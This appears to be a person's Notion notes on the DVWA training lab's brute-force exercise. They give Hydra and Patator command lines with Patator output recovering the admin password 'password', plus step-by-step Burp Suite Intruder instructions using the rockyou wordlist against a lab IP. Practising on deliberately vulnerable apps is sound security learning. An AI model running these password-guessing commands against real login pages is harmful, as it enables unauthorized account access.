DVWA | Notion

Install

https://www.youtube.com/watch?v=6EbdPO3nPmo

Brute Force

Low

Hydra (failed)

$ hydra -l admin -P /usr/share/wordlists/rockyou.txt "http-get-form://10.1.1.92/vulnerabilities/brute/?:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie:PHPSESSID=4h0uedpbegdva5blbjtm85o5iq; security=low" -V -t4

Patador

$ patator http_fuzz url="<http://10.1.1.92/vulnerabilities/brute/?username=admin&password=FILE0&Login=Login>" method=GET header="Cookie:security=low;PHPSESSID=p3tije0mp93ane756j85ar5jbv" 0=/usr/share/wordlists/rockyou.txt -x ignore:fgrep="Username and/or password incorrect."
19:23:33 patator    INFO - Starting Patator 0.9 (<https://github.com/lanjelot/patator>) with python-3.8.6 at 2020-11-23 19:23 AEST
19:23:34 patator    INFO -                                                                              
19:23:34 patator    INFO - code size:clen       time | candidate                          |   num | mesg
19:23:34 patator    INFO - -----------------------------------------------------------------------------
19:23:34 patator    INFO - 200  4547:4275      0.004 | password                           |     4 | HTTP/1.1 200 OK

Burp Suite

Proxy > Intercept tab
1. Turn intercept off
2. Open browser
Attempt login with user:password
Proxy > HTTP history tab
1. Find the GET request for the login attempt
2. Check the details:
3. Right click the line, or click Actions, then Send to Intruder
4. Intruder > Positions tab. Set the payload positions (only attempt username admin)
5. Intruder > Payloads tab. Load rockyou.txt.
6. Start attack!
7. Review the results. Look for different status codes or length.
8. Payload "password" has length 4566.
9. Check in the browser.